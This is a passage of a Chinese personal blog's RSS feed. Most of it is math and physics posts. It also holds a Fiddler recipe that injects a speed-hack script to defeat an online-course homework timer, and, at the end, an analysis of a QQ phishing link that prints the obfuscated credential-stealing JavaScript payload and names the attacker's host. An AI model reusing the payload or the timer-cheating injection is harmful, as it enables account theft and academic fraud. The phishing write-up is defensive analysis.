\1&amp;amp;1&amp;amp;1&amp;amp;0&amp;amp;0
\0&amp;amp;1&amp;amp;1&amp;amp;1&amp;amp;0
\0&amp;amp;0&amp;amp;1&amp;amp;1&amp;amp;1
\0&amp;amp;0&amp;amp;0&amp;amp;1&amp;amp;1
\end{bmatrix}
\begin{bmatrix}
x_1
\x_2
\x_3
\x_4
\x_5
\end{bmatrix}\equiv
\begin{bmatrix}
2
\2
\1
\2
\2
\end{bmatrix} \pmod 3$&lt;/p&gt;
&lt;p&gt;给出一个解：$X=(2,0,0,1,1)^\mathrm{T}$，即攻击最左边的方块两次，最右边的两个方块分别一次即可。&lt;/p&gt;
</content:encoded></item><item><title>数字推盘(数字华容道)的可解性</title><link>https://idkidknow.com/posts/%E6%95%B0%E5%AD%97%E6%8E%A8%E7%9B%98-%E6%95%B0%E5%AD%97%E5%8D%8E%E5%AE%B9%E9%81%93-%E7%9A%84%E5%8F%AF%E8%A7%A3%E6%80%A7/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E6%95%B0%E5%AD%97%E6%8E%A8%E7%9B%98-%E6%95%B0%E5%AD%97%E5%8D%8E%E5%AE%B9%E9%81%93-%E7%9A%84%E5%8F%AF%E8%A7%A3%E6%80%A7/</guid><description>Alternating Group!</description><pubDate>Sat, 10 Apr 2021 11:25:32 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://zh.wikipedia.org/zh-cn/%E6%95%B8%E5%AD%97%E6%8E%A8%E7%9B%A4%E9%81%8A%E6%88%B2&quot;&gt;数字推盘游戏 - 维基百科&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;固定一个空位时的情形&lt;/h2&gt;
&lt;p&gt;在一个 $(n^2-1)\text{-puzzle}$ 中，固定空位的位置并设定一个初始状态，则 $(n^2-1)$ 个方块的状态可表示为一个置换（初始状态即为恒等函数）。称一个游戏状态合法，是指该状态可由初始状态进行若干次操作获得（当然最终的空位位置和原来是一样的）。&lt;/p&gt;
&lt;p&gt;我们将证明，游戏状态合法当且仅当该状态为偶置换。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;$\Rightarrow:$&lt;/h3&gt;
&lt;p&gt;对于一个合法的游戏状态，考虑从初始状态进行若干次操作的过程。&lt;/p&gt;
&lt;p&gt;按照游戏规则，可进行的操作都可以分解为几个基本操作的组合，而基本操作就是空位和上下左右某一块的对换。&lt;/p&gt;
&lt;p&gt;我们只关注空位的轨迹，水平方向上的对换不影响空位的纵坐标，竖直方向上的对换使空位的纵坐标$\pm 1$。最终空位位置必须和初始状态相同，因此竖直方向上的对换必为偶数次。&lt;/p&gt;
&lt;p&gt;同理，水平方向上的对换也为偶数次，因此该状态是偶数次对换的复合，即为偶置换。&lt;/p&gt;
&lt;h3&gt;$\Leftarrow:$&lt;/h3&gt;
&lt;p&gt;易证任何偶置换可以分解为若干 $3\operatorname{-}\text{cycle}$ 的复合。只需证明用基本操作能实现 $3\operatorname{-}\text{cycle}$（不含空位） 即可，此时 $3\operatorname{-}\text{cycle}$ 不改变状态的合法性。&lt;/p&gt;
&lt;p&gt;引理1：$2\times 2$ 正方形中三个非空位块的 $3\operatorname{-}\text{cycle}$ 不改变合法性。&lt;/p&gt;
&lt;p&gt;记空位为 $0$。&lt;/p&gt;
&lt;p&gt;对于含有空位的$2\times 2$ 正方形中三个非空块的置换，注意到 $(3\ 0)(1\ 3)(2\ 1)(0\ 2)=(1\ 2\ 3)(0),$ 另一种 $3\operatorname{-}\text{cycle}$ 同理。&lt;/p&gt;
&lt;p&gt;对于不含空位的 $2\times 2$ 正方形中任意三个块的置换，记这三个块为 $1,2,3$，记不动的块为 $4$。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;$4$ 不在盘的四角。&lt;/p&gt;
&lt;p&gt;总能找到一系列基本操作（它们是对换）$\alpha_1,\alpha_2,\dots,\alpha_t,$ 其中 $\alpha_i(1\le i \le t)$ 固定 $1,2,3$，并且 $\alpha_t\alpha_{t-1}\dots\alpha_1(0)=4.$ 首先依次做 $\alpha_1,\alpha_2,\dots,\alpha_t$ 的操作，此时 $0$ 已经在正方形中，因此按照前面的结论，此时复合 $(1\ 2\ 3)$ 不改变合法性。 于是$\alpha_1^{-1}\alpha_2^{-1}\dots\alpha_t^{-1}(1\ 2\ 3)\alpha_t\alpha_{t-1}\dots\alpha_1$ 不改变合法性，而由于 $\alpha_i(1\le i \le t)$ 固定 $1,2,3$，于是该操作正是 $(1\ 2\ 3)$。$(1\ 3\ 2)$ 同理。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$4$ 恰在盘的四角。&lt;/p&gt;
&lt;p&gt;注意到 $(1\ 4\ 3)(1\ 2\ 4)=(1\ 2\ 3)$，其中$(1\ 4\ 3)$ 和 $(1\ 2\ 4)$ 由1中的结论知不改变合法性，故 $(1\ 2\ 3)$ 不改变合法性，$(1\ 3\ 2)$ 同理。$\Box$&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;引理2：连续三个水平（竖直）的非空位块的 $3\operatorname{-}\text{cycle}$ 不改变合法性。&lt;/p&gt;
&lt;p&gt;对于三个水平相接或竖直相接的非空位块，至少在一个不在角落的 $2\times 3$ 的矩形中。如果矩形中没有空位，按先长边后短边的顺序标号为 $1,2,3,4,5,6$，有 $(2\ 5\ 3)(1\ 5\ 2)=(1\ 3\ 2)$，即该三块的 $3\operatorname{-}\text{cycle}$ 不改变合法性。如果矩形中有空位，只需一次对换 $\alpha$ 即可移出，再作所需置换 $\beta$，两者不相交，此时作 $\alpha^{-1}\beta\alpha$，结果正是所需的 $3\operatorname{-}\text{cycle}$ 即 $\beta$，于是得到了同样的结论。$\quad \Box$&lt;/p&gt;
&lt;p&gt;接下来证明不含空位的 $3\operatorname{-}\text{cycle}$ 不改变合法性。&lt;/p&gt;
&lt;p&gt;记盘中 $(n^2-1)$ 个非空位位置从左到右从上到下依次为 $1,2,3,\dots,n^2-1$，要置换的三个块为 $a,b,c$。&lt;/p&gt;
&lt;p&gt;首先要把 $a,b,c$ 移动至 $1,2,n+1$（这里假定 $1,2,n+1$ 没有空位，如果有则改为移动至$n^2-n,n^2-1,n^2$，考虑对称性，这里只讨论$1,2,n+1$），由引理2这是显然可行的。记该操作为 $\alpha$，则 $\alpha(a)=1,\alpha(b)=2,\alpha(c)=n+1$。&lt;/p&gt;
&lt;p&gt;给出操作 $\alpha^{-1}(1\quad 2\quad n+1)\alpha$，该操作能分解为基本操作，且它等于 $(\alpha^{-1}(1)\quad \alpha^{-1}(2)\quad \alpha^{-1}(n+1))=(a\ b\ c).\quad \Box$&lt;/p&gt;
&lt;h2&gt;可解性&lt;/h2&gt;
&lt;p&gt;将右下角的格染成白色，然后将其他格染成黑色或白色使得黑白不相邻（实际上就是按横坐标+纵坐标的奇偶性分类）。注意到把空位从黑色格移到右下角需要奇数次对换，从白色格移到右下角需要偶数次对换。&lt;/p&gt;
&lt;p&gt;设定还原状态为初始状态。由前面的结论知：$(n^2-1)\text{-puzzle}$ 是可解的，当且仅当，空位在白色块且方块为偶置换，或空位在黑色块且方块为奇置换。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;我们完成了可解性的讨论，并实际上给出了一种该游戏的玩法（虽然并不方便）：按照证明中的步骤不停地做三块轮换即可。引理2确实是很有用的，比如在 $15\text{-puzzle}$ 中，你可用引理2的操作来解决最后一行。&lt;/p&gt;
</content:encoded></item><item><title>通过 Fiddler 修改响应体实现网站全局 JS 的变速齿轮功能</title><link>https://idkidknow.com/posts/%E9%80%9A%E8%BF%87-fiddler-%E4%BF%AE%E6%94%B9%E5%93%8D%E5%BA%94%E4%BD%93%E5%AE%9E%E7%8E%B0%E7%BD%91%E7%AB%99%E5%85%A8%E5%B1%80-js-%E7%9A%84%E5%8F%98%E9%80%9F%E9%BD%BF%E8%BD%AE%E5%8A%9F%E8%83%BD/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E9%80%9A%E8%BF%87-fiddler-%E4%BF%AE%E6%94%B9%E5%93%8D%E5%BA%94%E4%BD%93%E5%AE%9E%E7%8E%B0%E7%BD%91%E7%AB%99%E5%85%A8%E5%B1%80-js-%E7%9A%84%E5%8F%98%E9%80%9F%E9%BD%BF%E8%BD%AE%E5%8A%9F%E8%83%BD/</guid><description>使用轮子：jsgear。有了变速齿轮就可以整花活了。</description><pubDate>Thu, 05 Mar 2020 22:49:21 GMT</pubDate><content:encoded>&lt;p&gt;使用轮子：jsgear&lt;/p&gt;
&lt;p&gt;打开 Fiddler 4, 按下 Ctrl-R 以打开 Fiddler ScriptEditor.&lt;/p&gt;
&lt;p&gt;找到方法 OnBeforeResponse, 在方法的最后添加代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (oSession.uriContains(&apos;xxxxxx.xxx/xxxxxx&apos;) &amp;amp;&amp;amp; oSession.oResponse.headers.ExistsAndContains(&apos;Content-Type&apos;, &apos;text/html&apos;)) {
  oSession.utilDecodeResponse()
  oSession.utilReplaceInResponse(&apos;&amp;lt;head&amp;gt;&apos;, &apos;&amp;lt;head&amp;gt;&amp;lt;script src=&quot;https://www.etherdream.com/JSGear/jsgear.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;xxxxxx.xxx/xxxxxx 为要适用的网址&lt;/p&gt;
&lt;p&gt;打开指定网页（通过 Fiddler 代理），响应体将被修改，jsgear 将被插入到所有脚本之前&lt;/p&gt;
&lt;p&gt;测试某网课平台的作业计时：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E9%80%9A%E8%BF%87-Fiddler-%E4%BF%AE%E6%94%B9%E5%93%8D%E5%BA%94%E4%BD%93%E5%AE%9E%E7%8E%B0%E7%BD%91%E7%AB%99%E5%85%A8%E5%B1%80-JS-%E7%9A%84%E5%8F%98%E9%80%9F%E9%BD%BF%E8%BD%AE%E5%8A%9F%E8%83%BD/114514.png&quot; alt=&quot;いいよ&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提交可成功。（事实上对于该网课平台，时间保存在 localStorage 中，直接用 Chrome 开发者工具修改即可）&lt;/p&gt;
</content:encoded></item><item><title>Hello, 2020</title><link>https://idkidknow.com/posts/hello-2020/</link><guid isPermaLink="true">https://idkidknow.com/posts/hello-2020/</guid><pubDate>Fri, 24 Jan 2020 11:09:31 GMT</pubDate><content:encoded/></item><item><title>单调连续函数定积分与数列求和的关系</title><link>https://idkidknow.com/posts/%E5%8D%95%E8%B0%83%E8%BF%9E%E7%BB%AD%E5%87%BD%E6%95%B0%E5%AE%9A%E7%A7%AF%E5%88%86%E4%B8%8E%E6%95%B0%E5%88%97%E6%B1%82%E5%92%8C%E7%9A%84%E5%85%B3%E7%B3%BB/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%8D%95%E8%B0%83%E8%BF%9E%E7%BB%AD%E5%87%BD%E6%95%B0%E5%AE%9A%E7%A7%AF%E5%88%86%E4%B8%8E%E6%95%B0%E5%88%97%E6%B1%82%E5%92%8C%E7%9A%84%E5%85%B3%E7%B3%BB/</guid><description>用定积分估计数列和。</description><pubDate>Fri, 07 Jun 2019 16:00:33 GMT</pubDate><content:encoded>&lt;h3&gt;定理&lt;/h3&gt;
&lt;p&gt;对连续函数 $f(x)$ 和 $p,q \in \mathbb{Z}$ 且 $p&amp;lt;q$ :&lt;/p&gt;
&lt;p&gt;若$f(x)$单调递增, 则&lt;/p&gt;
&lt;p&gt;$$\int_{a-1}^b f(x)\dd x&amp;lt;\sum_{i=a}^bf(i)&amp;lt;\int_a^{b+1}f(x)\dd x$$&lt;/p&gt;
&lt;p&gt;若$f(x)$单调递减, 则&lt;/p&gt;
&lt;p&gt;$$\int_{a-1}^b f(x)\dd x&amp;gt;\sum_{i=a}^bf(i)&amp;gt;\int_a^{b+1}f(x)\dd x$$&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;由图像法可以很容易得出 $\forall x \in [a-1,b+1]\colon f(x)&amp;gt;0$ 条件下该定理的证明&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;下面给出一般的代数证明（只证明 $f(x)$ 单调递增时 $\sum_{i=a}^bf(i)&amp;lt;\int_a^{b+1}f(x)\dd x$，其他同理可证）&lt;/p&gt;
&lt;h3&gt;证明&lt;/h3&gt;
&lt;p&gt;由于 $f(x)$ 连续，记 $F(x)$ 为 $f(x)$ 的一个原函数，有 $F&apos;(x)=f(x)$&lt;/p&gt;
&lt;p&gt;$\forall n \in [a,b] \cap \mathbb{Z}$，由拉格朗日中值定理得&lt;/p&gt;
&lt;p&gt;$$\exists \xi \in (n,n+1)!:,F&apos;(\xi)=\frac{F(n+1)-F(n)}{(n+1)-n}=F(n+1)-F(n)$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$f(\xi)=F(n+1)-F(n)$$&lt;/p&gt;
&lt;p&gt;由于 $n&amp;lt;\xi$ 且 $f(x)$ 单调递增&lt;/p&gt;
&lt;p&gt;$$f(n)&amp;lt;f(\xi)=F(n+1)-F(n)$$&lt;/p&gt;
&lt;p&gt;即&lt;/p&gt;
&lt;p&gt;$$\forall n \in [a,b]\colon f(n)&amp;lt;F(n+1)-F(n)=F(x)\Big|^{n+1}_n=\int_n^{n+1}f(x)\dd x$$&lt;/p&gt;
&lt;p&gt;累加得&lt;/p&gt;
&lt;p&gt;$$\sum_{i=a}^b f(i)&amp;lt;\sum_{i=a}^b \int_i^{i+1}f(x)\dd x=\int_a^{b+1}f(x)\dd x$$&lt;/p&gt;
</content:encoded></item><item><title>多项式数列求和的计算方式</title><link>https://idkidknow.com/posts/%E5%A4%9A%E9%A1%B9%E5%BC%8F%E6%95%B0%E5%88%97%E6%B1%82%E5%92%8C%E7%9A%84%E8%AE%A1%E7%AE%97%E6%96%B9%E5%BC%8F/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E5%A4%9A%E9%A1%B9%E5%BC%8F%E6%95%B0%E5%88%97%E6%B1%82%E5%92%8C%E7%9A%84%E8%AE%A1%E7%AE%97%E6%96%B9%E5%BC%8F/</guid><description>求多项式数列的和，也就是求1到n的幂的和。</description><pubDate>Sat, 23 Mar 2019 12:16:59 GMT</pubDate><content:encoded>&lt;p&gt;求多项式数列 $a_n=f(n)$ 的前 $n$ 项和，只需找出 $\sum_{i=1}^n i^k$ 的计算方法，其中 $k\in \mathbb{N}$&lt;/p&gt;
&lt;p&gt;$k=0$ 时，$\displaystyle \sum_{i=1}^n i^k=n$&lt;/p&gt;
&lt;p&gt;$k=1$ 时，$\displaystyle \sum_{i=1}^n i^k=\frac{n(n+1)}{2}$&lt;/p&gt;
&lt;p&gt;对于一般的 $k$，可用以下方式递归求得&lt;/p&gt;
&lt;p&gt;$$\sum_{i=1}^n\bigl((i+1)^{k+1}-i^{k+1}\bigr)=\sum_{i=1}^n \sum_{j=0}^k \binom{k+1}{j}i^j$$&lt;/p&gt;
&lt;p&gt;$$(n+1)^{k+1}-1=\sum_{j=0}^k \sum_{i=1}^n \binom{k+1}{j}i^j=\sum_{j=0}^{k-1} \binom{k+1}{j} \sum_{i-1}^{n}i^j+(k+1)\sum_{i=1}^n i^k$$&lt;/p&gt;
&lt;p&gt;于是有&lt;/p&gt;
&lt;p&gt;$$\sum_{i=1}^n i^k=\frac{1}{k+1}\left((n+1)^{k+1}-\sum_{j=0}^{k-1} \binom{k+1}{j} \sum_{i=1}^n i^j\right)$$&lt;/p&gt;
&lt;p&gt;其中右侧的 $\sum_{i=1}^n i^j$ 中 $j&amp;lt;k$，即求得 $k=0,1,2,\dots,m-1$ 的答案就能求出 $k=m$ 的答案。&lt;/p&gt;
</content:encoded></item><item><title>机车启动问题-恒定功率启动 状态分析</title><link>https://idkidknow.com/posts/%E6%9C%BA%E8%BD%A6%E5%90%AF%E5%8A%A8%E9%97%AE%E9%A2%98-%E6%81%92%E5%AE%9A%E5%8A%9F%E7%8E%87%E5%90%AF%E5%8A%A8-%E7%8A%B6%E6%80%81%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E6%9C%BA%E8%BD%A6%E5%90%AF%E5%8A%A8%E9%97%AE%E9%A2%98-%E6%81%92%E5%AE%9A%E5%8A%9F%E7%8E%87%E5%90%AF%E5%8A%A8-%E7%8A%B6%E6%80%81%E5%88%86%E6%9E%90/</guid><description> </description><pubDate>Sat, 05 Jan 2019 23:38:52 GMT</pubDate><content:encoded>&lt;p&gt;常量: 功率 $P$，阻力 $f$，质量 $m$&lt;/p&gt;
&lt;p&gt;变量: 牵引力 $F$，速度 $v$，加速度 $a$&lt;/p&gt;
&lt;p&gt;两个方程:&lt;/p&gt;
&lt;p&gt;$$P=Fv$$&lt;/p&gt;
&lt;p&gt;$$ma=F-f$$&lt;/p&gt;
&lt;p&gt;初始条件:&lt;/p&gt;
&lt;p&gt;$$v(0)=0$$&lt;/p&gt;
&lt;p&gt;由方程可得
$$m \frac{\dd v}{\dd t}=\frac{P}{v}-f$$
$$\Rightarrow t=\int \frac{mv}{P-fv}\dd v$$&lt;/p&gt;
&lt;p&gt;一个简单的换元可得
$$t=-m\left(\frac{P}{f^2}\ln(P-fv)-\frac{P-fv}{f^2}\right)+C$$&lt;/p&gt;
&lt;p&gt;根据初始条件得
$$t=-m\left(\frac{P}{f^2}\ln\frac{P-fv}{P}+\frac{v}{f}\right)$$&lt;/p&gt;
&lt;p&gt;我们已经有了 $t(v)$ 的解析式, 求其反函数即可得 $v(t)$，然而 $v(t)$ 并不是一个初等函数&lt;/p&gt;
&lt;p&gt;$$v=\frac{P}{f}\left(1+\mathop{\mathrm{W}}\Bigl(-\mathrm{e}^{-1-\frac{f^2 t}{mP}}\Bigr)\right)$$&lt;/p&gt;
&lt;p&gt;其中 $\mathrm{W}(x)$ 为 Lambert W Function.&lt;/p&gt;
&lt;p&gt;不清楚 $v(t)$ 并不妨碍给出以下结论。由 $t(v)$ 可知，$v\to \frac{P}{f}$ 时, $t\to +\infty$。$v$ 趋向于 $\frac{P}{f}$ 而并不能达到。雨滴下落、通电直导线磁场中下落等情景有类似结论。&lt;/p&gt;
</content:encoded></item><item><title>Happy New Year! 2019</title><link>https://idkidknow.com/posts/happy-new-year-2019/</link><guid isPermaLink="true">https://idkidknow.com/posts/happy-new-year-2019/</guid><pubDate>Tue, 01 Jan 2019 00:00:00 GMT</pubDate><content:encoded/></item><item><title>[不务正业]毫无技术含量的Q群复读机分析器</title><link>https://idkidknow.com/posts/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/</guid><description>复读机们试图统计群成员中有多少复读机。Naive! 不是复读机不是合格的群友, 快退群吧。 我基于 qqbot 写了一个复读分析的程序，跑去...</description><pubDate>Mon, 27 Aug 2018 17:08:40 GMT</pubDate><content:encoded>&lt;p&gt;复读机们试图统计群成员中有多少复读机。Naive!&lt;/p&gt;
&lt;p&gt;不是复读机不是合格的群友, 快退群吧。&lt;/p&gt;
&lt;p&gt;我基于 qqbot 写了一个复读分析的&lt;a href=&quot;https://github.com/idkidknow/repeater_analyzer&quot;&gt;程序&lt;/a&gt;，跑去群里测试。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84Q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/1.png&quot; alt=&quot;测试&quot; /&gt;&lt;/p&gt;
&lt;p&gt;众人成测试工程师。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84Q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/2.png&quot; alt=&quot;复读&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A few moments later.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84Q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/3.png&quot; alt=&quot;复读&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样的递归复读法运作起来毫无问题，但是观感极差，于是我加了个过滤器。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../../assets/%E4%B8%8D%E5%8A%A1%E6%AD%A3%E4%B8%9A-%E6%AF%AB%E6%97%A0%E6%8A%80%E6%9C%AF%E5%90%AB%E9%87%8F%E7%9A%84Q%E7%BE%A4%E5%A4%8D%E8%AF%BB%E6%9C%BA%E5%88%86%E6%9E%90%E5%99%A8/4.png&quot; alt=&quot;复读&quot; /&gt;&lt;/p&gt;
&lt;p&gt;控制符是极具观赏性的玩法 (&lt;/p&gt;
</content:encoded></item><item><title>数学归纳法的又一妙用</title><link>https://idkidknow.com/posts/%E6%95%B0%E5%AD%A6%E5%BD%92%E7%BA%B3%E6%B3%95%E7%9A%84%E5%8F%88%E4%B8%80%E5%A6%99%E7%94%A8/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E6%95%B0%E5%AD%A6%E5%BD%92%E7%BA%B3%E6%B3%95%E7%9A%84%E5%8F%88%E4%B8%80%E5%A6%99%E7%94%A8/</guid><description>对于{1,2,3,...,n}的每一个非空子集，定义一个唯一确定的交替和：对每个子集按照递减的次序重新排列，然后从最大的数开始交替地减或加后继的数，则交替和的总和为？</description><pubDate>Sun, 22 Jul 2018 20:47:38 GMT</pubDate><content:encoded>&lt;p&gt;题: 对于 ${1,2,3,\dots,n}$ 的每一个非空子集，定义一个唯一确定的交替和：对每个子集按照递减的次序重新排列，然后从最大的数开始交替地减或加后继的数。（例如，${1,2,4,6,9}$ 的交替和是 $9-6+4-2+1=6$；${5}$ 的交替和是 $5$。） 则交替和的总和为？ （用 $n$ 表示）&lt;/p&gt;
&lt;p&gt;初看时，知对任意一个元素，所有包含该元素的集合的个数为 $2^{n-1}$，而 $n$ 是最大的，始终以「加」的形式在交替和中出现。&lt;/p&gt;
&lt;p&gt;因此，仅仅考虑 $n$ 在交替和的和中的部分，是 $n\times 2^{n-1}$。&lt;/p&gt;
&lt;p&gt;其余部分呢？有正有负，不好判断。&lt;/p&gt;
&lt;p&gt;手动计算了当 $n=1,n=2,n=3$ 时交替和的和的值，分别为 $1,4,12$。它们刚好与 $n\times 2^{n-1}$ 相等。&lt;/p&gt;
&lt;p&gt;于是猜想答案是 $n\times 2^{n-1}$。（「其余部分」精妙地抵消成为 $0$ 了）&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;证明:&lt;/p&gt;
&lt;p&gt;令&lt;/p&gt;
&lt;p&gt;$$A_n={1,2,3,\dots,n},\quad B_n={\ X\mid X\subset A_n, X\neq \varnothing\ }$$&lt;/p&gt;
&lt;p&gt;记交替和的和为 $S_n$。&lt;/p&gt;
&lt;p&gt;当 $n=1$ 时，结论显然成立。&lt;/p&gt;
&lt;p&gt;假设当 $n=k$ 时，结论成立。&lt;/p&gt;
&lt;p&gt;则有&lt;/p&gt;
&lt;p&gt;$$S_k=k\times 2^{k-1}$$&lt;/p&gt;
&lt;p&gt;当 $n=k+1$ 时，考虑 $B_{k+1}$，有以下划分：&lt;/p&gt;
&lt;p&gt;$$\Bigl{ B_k, \bigl{{k+1}\bigr}, \bigl{X\cup {k+1} \mid X\in B_k\bigr} \Bigr}$$&lt;/p&gt;
&lt;p&gt;$B_k$ 部分的交替和的和即 $S_k=k\times 2^{k-1}$。&lt;/p&gt;
&lt;p&gt;$\bigl{{k+1}\bigr}$ 部分的交替和的和即 $k+1$。&lt;/p&gt;
&lt;p&gt;下面讨论最后一部分的交替和的和。&lt;/p&gt;
&lt;p&gt;由于 $k+1$ 是所有这些集合中的最大数，因此在交替和中必为正，加入到 $B_k$ 中的原有集合中后，原有元素在交替和中正负皆改变，故第三部分的交替和的和为&lt;/p&gt;
&lt;p&gt;$$(2^k-1)(k+1)-k\times 2^{k-1}$$&lt;/p&gt;
&lt;p&gt;综上，所有交替和的和的和，即 $S_{k+1}=(k+1)\times 2^k$。&lt;/p&gt;
&lt;p&gt;即当 $n=k+1$ 时，结论成立，即&lt;/p&gt;
&lt;p&gt;$$\forall n \in N_+\colon S_n=n \times 2^{n-1} \quad \Box$$&lt;/p&gt;
</content:encoded></item><item><title>记网友 QQ 被盗群发的套路链接</title><link>https://idkidknow.com/posts/%E8%AE%B0%E7%BD%91%E5%8F%8B-qq-%E8%A2%AB%E7%9B%97%E7%BE%A4%E5%8F%91%E7%9A%84%E5%A5%97%E8%B7%AF%E9%93%BE%E6%8E%A5/</link><guid isPermaLink="true">https://idkidknow.com/posts/%E8%AE%B0%E7%BD%91%E5%8F%8B-qq-%E8%A2%AB%E7%9B%97%E7%BE%A4%E5%8F%91%E7%9A%84%E5%A5%97%E8%B7%AF%E9%93%BE%E6%8E%A5/</guid><description>又看见一个骗子，趁机水一篇。 如题，这个套路消息是这样的: 「https://url.cn/5x4a6Hg&amp;tLKvRPKISY 这是你？/...</description><pubDate>Sun, 01 Jul 2018 17:53:50 GMT</pubDate><content:encoded>&lt;p&gt;又看见一个骗子，趁机水一篇。&lt;/p&gt;
&lt;p&gt;如题，这个套路消息是这样的: 「https://url.cn/5x4a6Hg&amp;amp;tLKvRPKISY    这是你？/微笑」&lt;/p&gt;
&lt;p&gt;用移动设备进入显示是 QQ 空间登录页面，请求输入帐号密码，并盗取 QQ&lt;/p&gt;
&lt;p&gt;这个短网址最先跳转到一个无害的正经网站(fz.fang.com)的搜索请求页，利用 XSS. 而且他用的标签名字就叫 xss. 黑人问号.jpg&lt;/p&gt;
&lt;p&gt;骗子插入了一段 js 代码，src 为 wudi.74sq.cn/404.php (装成 404 页面？&lt;/p&gt;
&lt;p&gt;本来用电脑 curl 之，发现这个 js 是&lt;strong&gt;直接&lt;/strong&gt;跳转到腾讯网的(window.location.href = &quot;http://www.qq.com&quot;;)&lt;/p&gt;
&lt;p&gt;于是带上手机的 UA 再 curl, 验明:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(function () {
    var new_doc = document.open(&quot;text/html&quot;, &quot;replace&quot;);
    var html = unescape(&quot;%3Chtml%3E%0A%3Chead%3E%0A%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3Bcharset%3Dutf-8%22%3E%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22IE%3DEdge%22%3E%3Cmeta%20content%3D%22always%22%20name%3D%22referrer%22%3E%0A%3Cscript%20type%3D%22text/javascript%22%3E%0Adocument.write%28decodeURIComponent%28arcfour%28%2236a9dc5d29d54b46793d0c682298dbab%22%2Cbase64_decode%28%22EzORpUle/yXbsLMJsHj2lt+3Y2Rns99J/Lj37LvRiWWB4Sxf075faqUVJ85nCvGPE2VhEVzCxaa3SNtNQVmxTwiW7xoDJXHJC7g4YhkBMxWFvSPf7bmJBojZsq/vyWOPe8uHMpDGYd1XJcqNY1Z4T6CwxCCK+TLfqJkC9d8KTGR+1aZqyLoLttwCLVdzceuZTddKZHuVPUGbh+0WorBVz+JdGk7lmAiZlGMd9kxuDbqvvW6LguR8teQkNAdM+KukG90+pKaGqSVYTBRTUCfJpqS3oA2sVzPHgRDRUA4uelzPC+31esGj6MXfZf7GbC4Z/WzBi6WsTrVAVvzq3oI6RoUEXa7KHj7bWi9b1BhFDxrqihtxwwpYXeWYBmMOrmgyTSiMN7hKxkKp+IGwT6s+KydpW8bT2CshYYffIHO7vu3NpWJQ/p1QLjMl0NlUZntT7TLwUWNdz5Qm95s3zaIJWwjqt+IqwhsSbvqDPwpq8jXtlGpDnNB7u0hPZg%3D%3D%22%29%29%29%29%3B%0A%3C/script%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%3C/body%3E%0A%3C/html%3E&quot;);
    new_doc.write(html);
    new_doc.close();
})();
var set = document.createElement(&apos;iframe&apos;);
set.src = &apos;https://www.baidu.com/favicon.ico&apos;;
set.style.display = &apos;none&apos;;
set.onload = function () {
    setTimeout(function () {
        set.remove();
    }, 9)
}
document.title = &apos;&apos;;
document.body.appendChild(set);
